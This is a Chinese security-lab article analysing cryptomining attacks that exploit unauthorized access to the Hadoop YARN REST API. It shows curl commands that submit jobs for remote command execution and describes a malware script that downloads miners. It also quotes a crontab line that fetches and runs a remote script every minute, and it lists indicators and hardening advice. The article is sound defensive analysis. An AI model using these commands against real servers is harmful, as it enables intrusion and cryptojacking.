freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Hadoop Yarn REST API未授权漏洞利用挖矿分析
云鼎实验室 2018-06-03 08:00:34 1085396

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

一、背景

5月5日腾讯云安全团队曾针对“攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码”的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

攻击步骤

1、申请新的application

直接通过curl进行POST请求

curl -v -X POST'http://ip:8088/ws/v1/cluster/apps/new-application'

返回内容类似于:

{"application-id":"application_1527144634877_20465", "maximum-resource-capability" :{"memory":16384,"vCores" :8}}  

2、构造并提交任务

构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111:

code0-2.jpg

然后直接

curl-s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json'http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件

图0.png

更多漏洞详情可以参考 http://bbs.qcloud.com/thread-50090-1-1.html

三、入侵分析

在本次分析的案例中,受害机器部署有Hadoop YARN,并且存在未授权访问的安全问题,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的。

图1.png

整个利用过程相对比较简单,通过捕捉Hadoop 的launch_container.sh执行脚本,我们可以看到其中一个案例中相关任务执行的命令:

code1.jpg

可以很明显的看到第8行位置,从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。

在实际过程中,我们从多个案例捕获了多个比如名为cr.sh的不同脚本,但实际的功能代码都差不多,我们对其中一个x_wcr.sh脚本进行分析,代码自上而下内容:

code2.jpg

这部分代码主要针对已存在的挖矿进程、文件进行清理。

code3.jpg

这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件,那么就判断其MD5值是否匹配,MD5不匹配则根据w.conf关键词查找并kill进程;如果非可写的文件,则重新赋值DIR变量,这个变量主要用于后面部分代码中下载挖矿等程序存放目录。

code4.jpg

然后接着是一些变量的赋值,包括再次判断如果/tmp/java是一个目录,则重新赋值DIR变量;判断curl和wget命令是否存在,存在则赋值到WGET变量;f2则是赋值为某个IP,实则为是后续下载相关文件的服务器之一。

code5.jpg

这部分代码是其中比较核心的代码,通过downloadIfNeed方法下载挖矿程序到$DIR目录下并重命名为java,下载w.conf配置文件,给挖矿程序增加执行权限,然后以nohup命令后台运行挖矿程序并删除配置文件;接着检查crontab中的任务,如果不存在对应的任务,就将下载执行脚本的任务 "* * * * * $LDRhttp://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,这里$LDR为wget -q -O -或者curl,任务每分钟执行一次。

脚本中还包含了几个嵌套调用的download方法,入口方法是downloadIfNeed:

code6-1.jpgcode6-2.jpg

这个方法的核心功能还是校验已存在的挖矿程序的MD5,如果无法验证或者文件不存在的情况,则直接调用download方法下载挖矿程序;如果文件存在但MD5匹配不正确,则调用download方法后再次验证,验证失败则尝试从另外一个下载渠道 https://transfer.sh/WoGXx/zzz下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.

tmp.txt内容示例:

图2.png

code7.jpg

download方法判断ppc文件的存在与否和 MD5是否匹配,如果不存在或MD5不匹配则调用download2下载,如果存在则复制重名为java。

code8.jpg

download2方法则判断系统下载对应版本的挖矿程序,其中 http://185.222.210.59/g.php返回的是另外一个IP地址;下载成功后则再次验证,并复制重命名为ppc。

code9.jpg

在脚本的最后部分还有一些进程、文件、crontab清理的处理,用pkill删除满足条件的进程,删除tmp目录下pscd开头的文件,以及说删除crontab中存在某些关键词的任务。

至此,我们完成整个脚本的分析,虽然整个脚本比较冗长,而且似乎各个函数嵌套调用,涉及文件也众多,但其实整体就做了以下几件事:

1、清理相关的进程、文件和crontab任务

2、判断并下载挖矿程序,同时校验MD5值,除了黑客自己控制的服务器,还利用 https://transfer.sh提供备用下载,多种方式保障

3、增加脚本下载执行任务添加到crontab里

其实,我们通过查看YARN的日志文件yarn-root-nodemanager-master.hadoop.log也可能看到相应的痕迹:

图3.png图4.png

或者我们通过管理UI查看application详情:

图5.png

而crontab的任务日志也能看到相关的执行记录:

图6.png

最终在/var/tmp目录下也能找到相关的文件

图7.png

四、安全建议

清理病毒

1、使用top查看进程,kill掉异常进程

2、检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件

3、检查crontab任务列表,删除异常任务

4、排查YARN日志,确认异常的application,删除处理

安全加固

1、通过iptables或者安全组配置访问策略,限制对8088等端口的访问

2、如无必要,不要将接口开放在公网,改为本地或者内网调用

3、升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问

4、云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损

5、更多自检和修复建议可以参考 http://bbs.qcloud.com/thread-50090-1-1.html

五、IOCS

钱包地址

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

MD5

1、c8c1f2da51fbd0aea60e11a81236c9dc

2、183664ceb9c4d7179d5345249f1ee0c4

3、b00f4bbd82d2f5ec7c8152625684f853

矿池地址

1、158.69.133.20:3333

2、192.99.142.249:3333

3、 202.144.193.110:3333

4、46.30.43.159:80

部分相关URL

1、ttp://185.222.210.59/x_wcr.sh

2、ttp://185.222.210.59/re.php

3、ttp://185.222.210.59/g.php

4、ttp://185.222.210.59/w.conf

5、ttp://185.222.210.59/cr.sh

6、ttp://192.99.142.226:8220/w.conf

7、ttp://192.99.142.226:8220/xm64

8、ttp://192.99.142.226:8220/cr.sh

9、ttp://95.142.40.83/xm64

10、ttp://95.142.40.83/xm32

11、ttps://transfer.sh/1o3Kj/zzz

12、ttps://transfer.sh/wbl5H/pscf

13、ttps://transfer.sh/WoGXx/zzz

*本文作者:云鼎实验室,转载请注明来自FreeBuf.COM

# 挖矿 # 未授权漏洞
本文为 云鼎实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
恶意代码分析专栏
数据安全建设指南
云鼎实验室 LV.7
腾讯云鼎实验室 定期更新行业深度见解,由实验室专家倾力撰写 欢迎业内人士与热爱关注云安全领域的朋友关注 感受腾讯前沿科技~
  • 119 文章数
  • 123 关注者
腾讯董志强出席全国信安标委“标准周”:数字化转型需要高安全等级架构
2023-06-06
CSA GCR大会正式发布全球首个云渗透测试认证专家课程,腾讯安全获评“特别贡献单位”
2023-04-19
全球首个云渗透测试认证专家课程发布!腾讯安全领衔编制
2023-02-23
文章目录